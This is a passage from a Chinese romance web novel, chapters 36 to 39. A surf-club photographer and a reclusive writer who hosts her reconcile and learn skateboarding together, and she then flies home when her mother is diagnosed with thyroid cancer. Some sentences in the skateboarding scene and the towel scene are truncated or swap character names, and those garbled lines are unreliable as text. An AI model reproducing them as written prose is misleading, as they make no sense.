可韩暑躲避的状态过于显眼,他这样的身份,又能说什么? “昨晚你没睡好——” “昨晚你在戒浪——” “你说。” “你先说。” 韩暑无意识地抠着桌角,小声道:“你黑眼圈好重呀。” 闻知屿因为她简单的一句话,嘴角翘了,五脏六腑都振奋起来高速运转了。他抠住另一边桌角,“我昨晚……没睡着。” 韩暑缩缩脖子,没再追问。 闻知屿半天等不到回应,问:“昨晚换了环境,你睡得好吗?” “……睡得不好。” 闻知屿无声叹了口气,“吃完饭回家。” 回家。 韩暑恍惚,有一种两人其实很亲密的错觉。 她不知道哪来的勇气,转向闻知屿,直视他的眼睛。 “你最近为什么总是躲着我?你是不是讨厌我?你希望我搬走吗?” 第36章 第36章【VIP】 服务生收起清扫工具,让开距离,“收拾好了,二位慢用。” “谢谢,麻烦了。”闻知屿欠身,又冲韩暑比了个手势,“吃吧。” “不是——”韩暑抿唇,强行忍住了,提着裙摆坐定,却是胃口全无。 不是,他怎么不回答呢? 她闷着头,没发现不止她紧张,对面那位看似淡定的这会都同手同脚了。 闻知屿被桌子腿拌了下脚,扑通一声,屁股还没反应过来便和板凳来了个亲密接触,以一个前所未有的姿势坐下。 又是格格不入的沉默。 不过片刻后,男人紧绷的声音响起,“这个,给你。” 韩暑抬头,一个简单精致的小盒子被闻知屿推至面前。她眨眨眼,小心翼翼地掀开盖。 ——一朵栩栩如生的六初花映入眼帘。 闻知屿舔了下唇,又吞咽了下,“抱歉,之前我工作上遇到一些问题,态度不好,是我的错。” 韩暑将其放在掌心,戳了戳那洁白的花瓣,“道歉、礼物?” “嗯。” “你自己做的吗?” “……嗯。” 韩暑又戳了戳黄绿花蕊,难以置信,“这是陶土雕的吗?” 木桌下,闻知屿十指交叠,不住地用左手指夹右手指肚,“我手艺不好,别嫌弃。” 之前凌琳过生日,韩暑了解了许许多多象征友谊的花,其中就包括眼前这朵。 六初花。 美好的友谊,期待相遇。 虽然前一句和韩暑此刻的心思相去甚远,但后一句……勉强也可以延伸他意。连日以来的怒气彻底平复,百般苦恼也被抛之脑后。 她唇角压不住地上扬,连语调都蕴着笑意,“闻老师还有这样的手艺?” 闻知屿有些难以启齿,“我之前……玩过一段时间陶土。” “噗!”韩暑一个没忍住。果然,还是熟悉的闻老师,成天给自己找乐子的闻老师。 闻知屿尴尬地抓抓下巴,略带迟疑,“那、你能原谅我吗?” 得,熟悉的幼儿园式和好又来了。韩暑小心翼翼地将花放回盒子里,骄矜道:“我考虑考虑。” 从这家餐厅回戒浪,需要穿过僻静的小巷,再沿种满椰树的临海小路前行。 韩暑攥着小盒子走在林荫处,左手边是无边无际的蓝,卡布利蓝。右手边是放缓脚步跟在身侧的问题先生。 闻知屿没得到最终答案,惴惴不安,“下午还有工作吗?” 人行道狭窄,韩暑侧身为推着婴儿车的女人让开位置,“有,大概四点可以结束。” “我等你。”闻知屿立刻道,“下班之后接你回家。” 回家。 第二次听到这个词,韩暑依旧不受控制地想东想西,支支吾吾道:“我有件事想和你商量。” “嗯。”闻知屿作侧耳倾听状。 韩暑驻足,严肃地说:“我要不还是交点房费吧。原是我一人白吃白喝白住,现在还多了三只猫,实在是不合适,我也良心不安。” 其实这些话她早都想说,只是没找到合适的时机。说出口,倒是有如释重负的舒坦。 然而,闻知屿眉心拧得死紧,“不需要,我之前就说过我一点都不亏,你别有负担。” “可湿你最近什么都不问呀?”韩暑嘟囔,“就算问一百个一千个问题,我也觉得占了你的便宜。” 负伤修养期间现成的一日三餐,一看就价值不菲的猫咪用具,还有那远远超越金钱价值的药膏。 作为门可罗雀的民宿老板,闻知屿完全不知道该怎么处理这样的问题,毕竟位数不多的客人一晚都不敢住就溜了。情急之下,他直接道:“我自愿让你占我便宜,也不行吗?” 韩暑吃惊地睁大眼睛,哑口无言。 恰好有一对男女擦肩而过,听到两人的对话后投来半是调侃半是疑惑地目光。 闻知屿察觉自己失言,揣进裤兜里的手指快拧成麻花了,“再者房子空着也是空着,对我没有任何影响。” “那、那你家空那么多房间,你会随便给别人住吗?” “当然不会。” 韩暑正要反问,便见闻知屿一本正经道:“你又不是别人,你救的猫也不是别的猫。” 韩暑发现自己好奇怪。心跳得好快,可血液流通好慢,头昏昏胀胀,像飘在云端。 “可是——” “但是——” “难道不是吗?” “是,不过——” “是的话,就别谈钱。” 闻知屿转身,大步流星往前走,留给韩暑一个决绝的背影。 韩暑:…… 海风拂过树梢,枝条晃动之间,穿梭其中的日光也变了方向。一枚明亮的光斑恰好落在了右眼,她这才回神,一路小跑追上去。 眼看就剩三步远,韩暑有点累, 谁知闻知屿迈开长腿走得更快了,没几秒又甩开一些距离。 韩暑气急,“给我站住——喂!!!” 闻知屿跟没听到似的,甚至还跑了起来,碎发随步频起伏。 他今天着一身休闲套装,圆领裤,简简单单却青春洋溢,像极了大学的学长。 可惜韩暑无心欣赏。她,提着裙摆,全力冲刺。 他逃,她追。 “闻知屿你跑什么跑!!!” “……” 他继续逃,她继续追。 “你给我站住!!!” “……” 眼看前面就是戒浪,韩暑憎命加速,憋住最后一口气,伸直手臂,指尖即将触碰到闻知屿的短袖下摆—— 闻知屿一个灵活变向,闪身,朝反方向跑去。 有病,纯有病。 韩暑的火直冲天灵盖,怒吼,“你幼不幼稚!!!” 闻知屿听出语气不太对,减速制度,回头一看,她被气得双目圆睁鼓着脸,像一个小包子。 “跑能解决问题吗?!” 闻知屿想了想,“可我不觉得这是问题。” “我觉得是问题!” 韩暑绷着脸,缓步向前走。 山雨欲来,一股凛冽气息来袭,闻知屿想说点什么,却又不知道该怎么说才合适,一时踟蹰。 一步,两步,三步。 韩暑弹射起步,像一颗蘑菇炮弹向闻知屿扑了过去。 被追逐时全力奔跑是刻在人类基因里的本能。 闻知屿回过神来时,两人又变成你追我逃的儿童游戏,就差做个鬼脸说一句“来抓我呀”。 从人行道直线追击,到停车位绕车躲猫猫,最终以闻知屿闪身坐上车、锁上车门结束。 隔着暗色的玻璃窗,韩暑不知是气还是累得通红的脸,闻知屿毫无表情的面容,有瞬间的重合。 呵! 她扭头就走,怒气爆表,直冲云霄。 呵! 喜欢?谁会喜欢他?谁会喜欢这么幼稚的男人?谁会喜欢因为不愿听她提钱就逃跑的男人?谁会喜欢把她关在她最爱的小蓝外的男人? 没有人!没有人会喜欢! 身后传来了一阵急促的脚步声,滚烫的空气流动,掌风直冲裸露的手臂而来。 韩暑脑子一抽便往前跑,可惜还没提速,余光中已然出现了熟悉的身影。 闻知屿没敢拉她,只得大步跟在身侧。 闻知屿:“我错了。” 韩暑:呵! 闻知屿:“我真错了。” 韩暑:晚了! 她发誓,绝对不会再回他一句话! 闻知屿弱弱解释:“我就是不知道该怎么和你说,而且我开民宿真不收房费。” 韩暑立刻将誓言抛之脑后,反唇相讥,“你还说不长租呢!” 闻知屿道:“因为是你啊。” 韩暑紧紧闭着嘴,倒吸一口气。 砰! 胸腔剧烈震颤。 “我跑是怕说错话惹你生气。”闻知屿一只手举到耳边,作投降状,低声下气道,“当然我也不该跑,是我不对。“ 砰!砰!砰! 心跳得有些吵。 对冲浪板失去控制,会坠入一片温热咸湿的海。她会拉住脚绳,迅速上浮至海面。 对眼珠眼皮眼角肌失去控制,会坠入一片幽暗深邃的海。她会束起双臂,自甘沉溺至海底。 谁会喜欢幼稚的男人?可幼稚的男人好真诚呀。 谁会喜欢逃跑的男人?可逃跑的男人好可爱呀。 谁会喜欢把她关在车外的男人?可把她关在车外的男人追上来了呀。 哎! 她怎么这么喜欢他呀! 韩暑不理解甜蜜和忧郁为什么会同时存在,更不知道该怎么回应。 闻知屿能这么正直坚定,势必心思单纯。不像她,杂念从脑袋里长呀长,长到了脖颈,缠绕了声带,害得她话都说不出来。 这时,春景从窗户探头,笑吟吟道:“小暑,上课了!” 像是儿时的冰冻游戏,韩暑成功被队友解冻,挥挥手,“就来。” 转向闻知屿,她像被摁下音量下键,低着头,“我我要去工作了。” 发心却是一沉。 她本*能一摸,杏眸满是讶异,“我的太阳帽!啊!我落在餐厅了!” 闻知屿后撤一步,双手抄兜,“去吧,我等你。” 一整个下午,韩暑都心不在焉。 心不在焉地撑着伞,心不在焉地举着相机,心不在焉地取景拍照,心不在焉地抠手。 一会思考闻知屿如果真的不要钱怎么办,一会纠结他有没有可能有点喜欢她,但大部分时间都在惆怅。 前路渺茫,自己的人生还没弄明白,怎么就多出一个另她分心的存在!愁死了,愁晕了! 拍摄结束,韩暑拖着腿挪回俱乐部,迅速处理完照片并上传至网盘,往群里分享了链接,下班。 她又拖着腿挪出俱乐部,向停车的地方走去。步履维艰,应该是思绪太多脑袋太沉,以至于没留意正走在柏油路正中间。 “姑娘!姑娘让一下!” “小心!!” 两道呼喊声响起。 几乎同时,韩暑被一只有力的大手扣住手腕又护在身后。越过男人宽阔的肩膀,她看到一个滑着陆地冲浪板的男孩极速飞驰而过。 确认安全,闻知屿松了手,绕至副驾驶拉开车门,“上车。” 韩暑抱住手臂掩盖悸动,慢吞吞地挪了过去,没话找话道:“陆地冲浪板看起来还蛮有意思的。” 自从收到滑板之后,先是练冲浪练得肌肉酸痛,紧接着胳膊烫伤,一次都还没尝试。 怪可惜。 待韩暑坐定,车门却未如期关闭。 她正想问不走吗,便看到闻知屿撑着门框,长腿一屈蹲了下来。 “今天回去就学,我陪你。”闻知屿一手搭膝,仰头,“我不收房费,但你要答应我一个条件。” 韩暑喃喃地问:“……什么条件?” “去尝试一切你丈夫或父母不喜欢不同意不陪你做的事情。和我一起。” 第37章 第37章【VIP】 “你再说一遍,你现在要去干什么???” 闻知屿从头套好休闲短袖,认真道:“陪她学滑板。” 听筒清晰地传来呼哧呼哧的喘气声,听起来气得不轻,实则更是气到肝疼。秦建瓴艰难问道:“所以你为了和她玩滑板,缺席你自已的书的宣发会议?” 闻知屿不假思索,“是。” “……” “上次会议我想说的都说过了,其他都听你的。” “……” 闻知屿等了半天没见声,“还有事吗?” “还想问你个问题。” “问。” “之前陪她冲浪,现在陪她玩滑板,以后呢?你还要陪她干什么啊啊!她去月球你去吗?!” 闻知屿轻笑,“去啊,为什么不去?” “你有病吧!!!”秦建翎无能狂怒,“人家有老公陪,哪轮得着你!” 秦建翎本是想激怒闻知屿,谁料他无波无澜,甚至语调中笑意不减,“我陪她做的,都是她丈夫不愿意陪的事情。当事人自愿放弃机会,自然轮到我了。” “……呱!!!” 闻知屿将免提切为听筒模式,开门下楼,诚恳道:“会议就辛苦秦老师了,谢——” “嘟——嘟——嘟——” 回应他的只有饱含怒火的盲音。 闻知屿闭嘴,从微信给秦建翎发了个红包,备注谢谢,然后将手机塞回口袋,一步三个台阶冲下楼,敲响了客房房门。 “稍等一下!”女声传至闻知屿耳中依然脆生生。 他提高嗓门,“不急!” 说是不急,闻知屿却没去客厅沙发处坐下等,而是后撤两步,双手抱臂倚着对面的墙壁,用十二分的专注盯门板。 秦建翎的意思他明白,他何尝不知道自已名不正言不顺,想到她的丈夫又怎么可能不吃醋抓狂。 但闻知屿想要将自已从中摘出去。 所谓摘出去,便是站在韩暑的角度去思考这件事。只站在她的角度,只为她着想。 他不好评判她的婚姻,结合已有信息也很难下一个类似“丈夫失位”的定论。人都有缺点,既然韩暑选择了这个男人,他便抓住为数不多的时间去弥补她丈夫的缺点,去填补因为她丈夫的缺点而造成的遗憾。 闻知屿的目光落在门廊。 台风天,淋成落汤鸡的女孩就小心翼翼地站在那里。她止不住发抖,头发也乱七八糟地贴着皮肤,狼狈得不像样。 他心不在焉,虽然被第一个答案惊艳,却也不抱太大希望,因此直到她主动出声,才发现她的窘状。他不知道她拖着行李箱走了多远的路,经历了多什么困难……可那双眼亮晶晶,丝毫没有本该有的崩溃无助疲惫,接过毛巾同他道谢时甚至笑眼弯弯,既活泼又礼貌。 那便是闻知屿对韩暑的第一印象。 因此,当她提起家庭和丈夫时萎靡不振,他不由自主地生气。就像隔着海洋馆的玻璃观赏鲸鲨在方寸之地往返逡巡,惋惜它本该自在徜徉于大海,生气自已无法改变这既定的现状。 机场停车场,当看道韩暑的母亲毫不犹豫地动手,他拉开车门险些冲上去,对话也一自不落地进了他的耳朵。 闻知屿无权干涉韩暑的人生。但他想尽自已所能,为她打开更多可能。 她是一个坚韧、勇敢、乐观又阳光的人,他希望她能自由地选择她想要的人生。 “咔哒!” 韩暑探头,正想喊闻知屿,便看到了那抹斜倚墙壁的身影。 男人循声看来,眼底薄雾轻拢,唇边笑意上浮,“好了?” 她将门开大,莫名拘谨,“怎么站在这里?” “等你。”闻知屿提起墙角的两块滑板,“别墅区最南边有一块空地,去那吧。” 往过走的路上,韩暑趿着板鞋,盯着闻知屿利爽的背影,脑子里全是方才和凌琳的通话。 当凌琳得知两人要去学滑板,毫不犹豫地说了两个字。 “扑他!!!” 韩暑惊得一口水喷了出来,“别开玩笑!” “谁说是玩笑,这是战略。”凌琳拿起腔调,“你知道男女关系的质变是什么吗?” “什么?” “肢体接触!” 韩暑将水杯放在床头柜上,手忙脚乱地拉起湿了一块的床单,正抽过卫生纸吸水,闻言又吓一跳,一胳膊肘撞翻了水杯,于是床头柜也遭了殃。 “听见没?!” “没有!怎么能占他便宜呢?” “啧!”凌琳恨铁不成钢道,“你到底想不想探出他的想法?语言会骗人,大脑也会骗人,独独身体不会。有没有好感,一试便知。” 闻知屿跟躲避蟑螂一幽叹气,“不用试了,他不喜欢。” “那是之前。今天他给你送花,还跟你说要陪着你做什么来着——陪着你做你老公不愿意陪的事情,这话什么意思?显然有问题啊!听我的,再试试。” 韩暑纠结拧巴挣扎,心里的两个小人板,当她和大地来了个亲密接触,她感情。 扑他?! 闻知屿扶起韩暑,担忧” “疼。”韩暑抱着腿,表情因为疼痛而狰狞,“我得缓一会,你试试陆冲?” 闻知屿一直护着她,待她能够上板刹车才退开一些距离,谁知不到一分钟就酿出惨剧。他寻思自已试试还能积攒经验帮韩暑尽快上手,便听从她的建议。 起初,韩暑以为身边这位就是百里挑一的滑板天才,上板、滑行姿势优美流畅,甚至五分钟就学会了左右转向。闻知屿也这么以为。 直到脚下滑板以光速向前冲刺,而他四脚朝天躺在了地下,从后背到屁股都疼得钻心。 在他的鼓舞下,韩暑也在试双翘。见状,急着想滑过去扶他,结果天旋地转,也睡倒在了水泥硬地上。 两人脚并脚成六十度锐角,幕天席地仰望天空,哀嚎声此起彼伏。 韩暑抱着手肘的青紫,虚弱道:“要不咱们买两副护具再学吧,你觉得呢?” 闻知屿想揉屁股又强行忍住,紧绷道:“你说得对,明天我就去买。” 缓了一阵。 韩暑抬起脖子,望了望脚下十几米外的路冲,望了望头顶五米外的双翘,“咱是不是得把滑板捡回来,挡路。” 闻知屿也抬起脖子,看了看,“嗯……要不等会?” “我觉得行。” 两人同时躺了回去。 老胳膊老腿,摔得七荤八素,还得缓缓。 片刻后,韩暑又问:“万一这会有车经过,会不会觉得咱俩是神经病?” 闻知屿浑不在意,“没事,我本来就是神金。你说的。” “……”韩暑尴尬地就差手指脚趾同时抠地,“那我也是。” 闻知屿沉沉笑出声。 夜色无声无息地落下,如帐幔轻拢,如海水环抱,温柔至极。 韩暑忽然抬手,“你看,有星星!” 闻知屿嗯了一声,“再晚一些或许能看到银河。” “银河?”韩暑雀跃,“你见过吗?” “见过,就一次,被我经纪人生拉去的。” 当眼睛渐渐适应黑暗,星星便一个接一个冲她眨眼。 “你看东边那三个,连在一起的,像不像一只三角饭团?” 闻知屿顺着指引一看,“有点。” “你再看那一片!”韩暑挥动手臂,像皇帝分封似的划出一片领土,“像不像一只烤鸡腿?西南这边是骨头,斜上方是外焦里嫩的肉。” 闻知屿失笑,“你是不是饿了?” 韩暑双手抱住腹部,“……有点。” “那就回家吃饭。” 闻知屿一骨碌爬了起来,向韩暑伸出一只手,不等她握住,又攥住拳、手臂一横,亮出手腕。 他们的关系就像这一节腕骨,说亲密有些生疏,说生疏又有点亲密。 韩暑借力起身,压下情绪,“走吧。” 闻知屿提起两块滑板,“走。” 琼岛的夏天炽热又漫长。 韩暑过着早上冲浪加工作、下午工作加冲浪,晚上回家学滑板的规律生活。期间,她自主抓到了人生中第一个浪,正式从入门踏入初级课程。路冲板也从最初的被驯服,成长为轻松熟练代步、偶尔能做几个花里胡哨的动作。 当她站在板上维持着一线平衡,当她像利剑一般破风前行,她有一种主动掌握人生的感觉,又或者说是错觉。但她不愿细想,只想珍惜每一个瞬间。 至于问题先生,连珠炮似的问题砸得她头晕脑胀,再也没功夫纠结是占了便宜还是吃了亏。 某天,韩暑拉着闻知屿照顾院子里那几棵树和一起播种发芽的花花。 她去取个铲子的功夫,闻知屿把水压开齁大,表演天女散花。 “哎!别给苗冲死了!!!” 闻知屿听话地关掉,冷不丁问:“如果你的脚底长出一棵树,你会砍它还是砍自已的脚?” 韩暑摸摸树干,不假思索,“都不砍,我倒栽葱扎土里种树。” 某天,韩暑新购入一条挂脖的浅蓝色长裙。在玄关处落地镜照照正面,照照背面,满意点头。 闻知屿站在一旁双手抱臂,双目出神。 韩暑清清嗓子,“好看吗?” 闻知屿颔首,发自内心地说好看,视线依旧未移开。 正当她不好意思的时候,只听闻知屿认真道:“如果有一天你照镜子发现自已的头前后翻转了,你选择转头还是转身体?” 韩暑摸摸镜子,“我不想死,我选择转镜子。” …… 和闻知屿一起,生活达到了微妙的平衡。过去和未来的平衡。 韩暑误以为可以持续下去,永远不去触碰那可怖的终点。 可惜事与愿违,8月半,她在泪眼婆娑中订了琼岛飞回北城的机票。 第38章 第38章【VIP】 “他怎么又来了?” “最近天天来报道,同一个位置,一杯柠檬水坐半天。” 春景拍了一把腰间的大掌,铭哥这才不情不愿松开,“之前有段时间不是不来了吗?” “估计吵架了呗。”春景将一摞冰格塞给他,“掰。” 铭哥去水池边洗手,恰好能透过那扇窗,看到闻知屿所看之景,“义工都开始练回切了?” “对啊,进步快吧。”春景骄傲道。 白浪翻滚,以势如破竹之势直奔海岸而来。 只见韩暑撑板利落起身,微微侧首观察浪壁,重心前倾,用肩膀带动身体向左侧旋转。经过顶点后,之后后腿发力踩住板尾重心后移—— 冲浪板在波光粼粼的海棉划出一个漂亮的右旋弧度。 笑容灿烂的女孩伸直双臂,庆祝成功。 铭哥没错过板尾的晃动,“就是力量不太行,有点没压住。” “慢慢来嘛!”春景朝那边瞥了一眼,旋即努嘴指挥,“柠檬水喝完了,去,给人续上。” 铭哥一愣,“咱什么时候给客人提供续杯服务了?” “那是客人吗?那是咱义工家属!” “……他知道他是家属吗?” 春景随意挥挥手,“就算不是,他肯定也想做家属。没差。” 铭哥认命地端着玻璃壶走过去,有点别扭地敲敲桌,“哥们,给你倒点水。” 闻知屿回头的瞬间,眉宇间笑意散去,只留淡漠疏离。他颔首,“谢谢。” 说罢,从一旁的黑色提包里掏出电脑。 铭哥再返回吧台时,一脸发现恐龙化石的惊喜。 春景正在做鲜榨橙汁,扶着破壁机问:“怎么了?” 铭哥神神秘秘地凑过来,小麦色的面容之上,笑容意味深长,“我发现,只要义工结束冲浪从海里上来,这哥们就会掏出电脑开始工作。” 春景无语,“你个呆瓜才知道!如果不是为了看小暑,他为什么要坐又热又晒的窗户边?” “……哦。” 韩暑盘腿坐在沙滩上,用肩膀和头夹着伞柄,咔咔摁快门。 学员抓了一会绿浪,被教练叫去复盘。得空,她将伞沿微微抬起一厘米、两厘米、三厘米—— 瞄见闻知屿了。 熟悉的窗边,熟悉的眼镜,熟悉的电脑,熟悉的场景。 啧,一天天就知道工作,坐在那头都不抬,也不知道看看她。 韩暑恨恨撇嘴,恨恨压低伞沿。 你不看我,那我也不看你。 三秒后。 要不再看一眼? 再看一眼吧! 茂密的椰子树下是戒浪的白墙蓝窗,有一笔挺的身影居中。放大焦距,男人右手拇指食指捏着下巴,眉心微微蹙起,金丝框镜下眼睑低垂,安静又专注。 忽然,取景框里出现一只黝黑的手臂。闻知屿微微侧首,说了句什么,然后用指关节轻推镜腿—— 隔着镜头,韩暑和闻知屿对上了眼。 韩暑:!!! 她一惊,手一松,太阳伞直接扣在了脑瓜上,要不是挂脖,相机都得跌进沙子里。 她如坐针毡,总觉得背后有两道直勾勾的视线。惴惴不安良久,终于鼓起勇气往后瞥了一眼。 “吁!” 见闻知屿继续埋头工作,韩暑松了口气。只不过直到下班,都没再敢看他一眼罢了。 结束拍摄,韩暑直奔后院冲沙洗澡一条龙。顶着湿漉漉的发,从储存柜里取出手机,一边翻看未读消息一边绕至俱乐部前,然后隔窗合上闻知屿的电脑,“吃饭走。” “好。”闻知屿立刻行动,拔掉电源线装包。 韩暑斜倚外墙,眉头紧锁。未接来电里,满满一排都来自同一个人。 自那日机场一别,徐女士依旧作风不改,定时定点用电话微信轰炸,但韩先生甚少联系。短短三个小时内打了个几十个电话,难道有什么急事? 韩暑指尖空悬片刻,还是摁下了回拨。 几乎刚拨通,那边便接了起来。 “爸,刚才我在海里没带手机,您有什么——” 韩文宇劈头盖脸,“立刻买机票回来!” 应付徐英已令韩暑身心俱疲,不耐烦道:“我不回!你们为什么就听不进去我的话!” 闻知屿从正门出来,见韩暑正在打电话便在一旁默默等待。女孩单手叉腰皱着脸,听语气蕴着怒火,而还在滴水的头发沾湿了裙子的肩背部。 他想了想,折回店内,恰好迎面撞上春景,“打扰一下,请?” ,春景难掩讶异。 闻知屿解释,“头发还湿着,我” 春景了然,带他走过去,,“这个。” “谢谢。” 打开门,一条浅蓝色的毛巾悬于柜子顶上的横杆。闻知屿用指腹摸一角,还算干燥。 取到毛巾,折回店门口,他正要将毛巾呼噜到韩暑的脑瓜上,却在看清她的神色后停住了。 闻知屿微微躬身,“怎么了?” 韩暑用力抹去脸上的泪珠,“我、我现在要去机场,你能不能送我过去?” 听她说话还算条理清晰,但她握着手机的手以肉眼可见的频率颤抖,嗓音像被石头打磨过一般沙哑,明显已是六神无主。 闻知屿没问理由,圈住韩暑的肩膀径直上了车,弯腰替她扣安全带时,轻声道:“带身份证了吗?” 韩暑全然忘记今天穿的是没有口袋的裙子,慌乱地摸大腿外侧,“没有,没带。” “机票,买了吗?”眼看她又开始哆哆嗦嗦地找旅行app,闻知屿掌心向上,“给我吧,我来。” “刷一下脸。” 韩暑直视镜头,看到了泪眼婆娑的自已。 “再刷一下。” 不过三分钟,闻知屿将手机插上充电线放在中控,利落启动,“两点的飞机,临时乘机证明也办好了。从后海开过去四十分钟,差不多能提前一小时二十分钟到。” 沿著名的海景公路蜿蜒前行,沿途能看到右侧沙滩上零零散散的旅人,路边偶尔还有停车俯拍海景的游客。然而韩暑紧紧闭着眼,隐忍的啜泣声充斥密闭的车厢。 行程过半,她终于从最初的崩溃中平复。 身侧,闻知屿安安静静地把着方向盘,连呼吸声都听不见,如果不用余光去看,便毫无存在感。当她的余光落在他身上,一种前所未有的踏实和依赖感自心底翻腾上涌。 韩暑生出不吐不快的冲动,吸吸鼻子,低声道:“刚才是我爸的电话。” 闻知屿依旧没出声,只是微微侧首,表示他在听。 “他说……”韩暑忍不住哽咽,“他说我妈学校体检,查出来甲状腺有问题。初步判定右侧恶性肿瘤,而且……淋巴转移。” 闻知屿将纸巾从驾驶位车门的置物篮挪至中控,一并挪过去的还有车载小垃圾桶。 他还是没出声。 他不知道该怎么安慰,也深知言语的苍白。因此只是在确保安全的情况下,开得再快一些。 韩暑用纸巾捂着脸,再也按耐不住哭了起来。 她没说的是,韩文宇的后半段话。 韩文宇是一个不怒自威的人,甚少发火。但今天,隔着听筒,她切切实实听到了他的怒意。 “自从你跑去琼岛,有关心过你妈妈的身体吗?还想起过你的父母吗?妈妈生病,做女儿的却不在身边,你是打算一辈子都不会来了?是不是有一天我们死了你都不知道?” 自私,不孝。 韩暑既觉得委屈,又觉得自责。 她只是离开了两个多月而已,她只是想休息一阵而已,终归是会回去的。可……她确实专注于自已的事,逃避和父母的一切交流,更不必说关心。 到了机场,闻知屿停好车,一路护着韩暑从停车场到出发大厅到安检口。 韩暑退开半步,低着头,“谢谢你送我,回去的路上小心。” 闻知屿没说话,掏出自已的手机。 “滴!” 闸机的门开了。 韩暑彻底愣住了。 闻知屿回身,眉宇间是一如既往的淡然,“来。” 韩暑慌忙打开自已的二维码,刷过闸机,“你——” 闻知屿拉着她排至队尾,“买了张机票,陪你到登机口。” 韩暑鼻子一酸,眨眼间,眼眶蓄满了泪水。 闻知屿看在眼里,寸步不离。 韩暑没再说谢谢,没再三番五次地重复不好意思麻烦你了。她庆幸,此刻有他在身边,甚至生出让他陪她飞往北城这样的妄念。 闻知屿也没再多言,保持沉默。但他其实想问落地后会不会有人接,如果没有,是不是顺势能提出陪她飞北城这样的奢求。 两人都没有行李,五分钟不到便过了安检,十分钟不到便抵达了登机口。 韩暑找了个最靠近的地方坐下,抬头,“快回去吧,我没事。” 闻知屿被她眼中的红血丝刺痛神经。他四下张望,丢下一句等我,便迈开长腿不知往哪去了。 韩暑没有力气去看他离开的方向,脊背像被抽调骨头一样无力,只得躬身半伏在膝盖上,解锁手机,在搜索框里敲下“甲状腺肿瘤”五个字。 乳/头状、滤泡状、髓样、未分化。 前两种相对常见且预后较好,得到及时有效治疗,存活率高。后两者相对罕见,侵袭性更强,预后也较差。 传统、微创手术。全切,半切。 化疗,放疗,碘131。 闻所未闻的名词,难以想象的治疗手段,无从预料的结果。 韩暑翻扣手机屏幕,捂着脸,情绪再次崩盘。 一只温热的手掌落于发心,极度克制地停留不过瞬息,重量便随温度一并消散。 闻知屿在她旁边坐定,“还有五分钟登机,这个你拿着。” 韩暑用手掌摁了摁眼睛,终于看清,骨节分明的手指拎了一只画有熟悉logo的纸袋子。 “错过饭点了,飞机上饿了吃。”闻知屿瞥了眼已经开始排队的登机口,将纸袋子挂在了她的手腕上,“照顾好自已,才能照顾好你母亲。” 韩暑用另一只手摩挲纸袋子略显粗糙的提手,用力点点头,忽然想到了什么,“我的东西还在客房,没有收拾。如果有新的房客——” “不会有新房客了。”闻知屿笃定,“行李安心放着,放多久都行。三只猫也有我和阿姨照看。” 韩暑顺着人流一步步向前走,闻知屿便一步步跟在身后。 直到再也无法送下去,他绕开地勤至另一侧,明知越界却依然拉住了韩暑的手。 闻知屿想说得太多,想做得也太多,最终只是五指用力攥住掌心的冰凉,将百般情感千般挂念融进了看似云淡风轻的一句话中。 韩暑盯着那两只交叠的手。 只听闻知屿说:“无论什么时候,无论什么事,都可以联系我。” 第39章 第39章【VIP】 韩暑从医生办公室出来,没走两步便扶住走廊一侧的栏杆,脱力蹲了下去。 “病人这种情况比较特殊,加上发现得晚,从片子上看肿瘤已经侵犯了喉反神经,手术难度会比较大。” “左侧虽然判定为良性结节,但鉴于右侧的情况,还是建议全部切除,再根据手术结果判断下一步治疗方案。” 一周后的手术,便是最终审判。 她闭上眼,埋头于双膝之间…… 当韩暑推开62床所在病房的门,无助崩溃如潮水般褪去。 二人间,最里面的床位。她放轻脚步绕过半拉的帘子,终于看到了徐英的身影。 此刻,徐英面朝窗侧躺,枕着左臂,呼吸频率时快时慢,右手拇指食指捏着手机无规律地磕向床沿。 韩暑深吸一口气,紧绷的身形放松下来,自然而然地在病床尾处坐下,“妈。” 徐英肉眼可见地僵了下,翻身平躺,原就不苟言笑的面庞更是阴郁,“还知道回来?” “说什么呢。”韩暑笑了笑,起身扳住扶手,将床摇高了些方便徐英倚靠,“我刚见了主治医,了解了下情况。乳/头状瘤问题不大,手术完就好了,您就安安心心歇着。” 徐英哼了一声,“我难道不知道吗?” 韩暑没接话茬,“我爸呢?” “上班去了。”徐英眸色一凛,“你呢?还打算闲待着?” “我没闲着,这不是来医院照顾您吗?”韩暑探身瞄了眼床头柜和墙的缝隙,“没买折叠床……我等会出去买一个,方便晚上陪床。还有什么要买的吗?我一块带回来。” “不需要。早点找到个像样的工作,别成天碍我的眼。” 韩暑自是不会和徐英辩起来,全当没听见。 槐树的叶子已是浓墨重彩的绿,天儿也是万里无云的碧蓝,隔着窗都能感受到翻滚的热浪。耳鼻喉外科在4楼,恰好能看到几抹树梢,无风,静止。明明是热烈的夏天,屋内却是死气沉沉。 芭蕉树在傍晚的微风中枝叶伸展,一株硕大的春雨龙鳞在窗台上搭着脑袋,猫爬架上的小咪被吸引了目光,抡起喵喵拳去够,最终邦邦打在了玻璃上。 闻知屿背靠门旁边的墙壁,两只胳膊套两只纸壳子,艰难移动到饭碗处添加猫粮。大咪好奇地走了过来,闻到似曾相识的味道后立刻跑了回去,直冲猫爬架几乎贴着天花板的顶端。 闻知屿吓一跳,提起手里的袋子解释:“喂食,猫粮。” 大咪因为背光,瞳孔已从圆形变为椭圆,直勾勾盯着他。 在这样的目光中,闻知屿坐立难安,迅速倒好猫粮、补了饮用水后退到门边,摁下把手。门已然开了条缝,他却停住了。 顿了顿,他这才转身,因为不习惯和动物说话,语调有些古怪僵硬,“她走了,很长时间都不在。” ——不知道什么时候会回来。 ——也不知道还会不会回来。 闻知屿从猫屋出来便摊到了沙发上。他把玩着手机,屏幕上赫然是和韩暑的聊天框,最后一句停留在她落地后发来的消息。 【无敌强壮卷心菜:落地了,谢谢。】 闻知屿心烦意乱,想发个消息问韩暑那边的情况,想打电话听听她状态如何,更想直接杀到现场。 穿过客厅的落地窗,光线斜斜地落在了一尘不染的地板上,又以肉眼可以察觉的速度向东旋转,天色随之暗淡无光。 “喂?” 闻知屿清嗓子,一反常态吞吞吐吐道:“情况怎么样?” “还能怎么样?”秦建翎有气无力,“什么事?” 闻知屿问:“你之前想让我参加的北城作家论坛,在什么时候?” 听筒那头,男人坐直了,跃跃欲试道:“什么鬼?之前不是怎么劝都不去吗?改变主意了?” “你先说时间。” “8月21号至23号,去吗?!” 闻知屿切免提看日历,“不去。” “……那你问什么问?” 闻知屿毫不客气地摁下挂断。 闻知屿环视四周,和以前一般无二,又似乎空无一物,全身每个细胞都在叫嚣。然而他没有身份,没有资格,更没有理由。 他将手机丢到茶几上,和衣平躺,单臂搭于额头,在寂静中任由想念和担忧疯长。 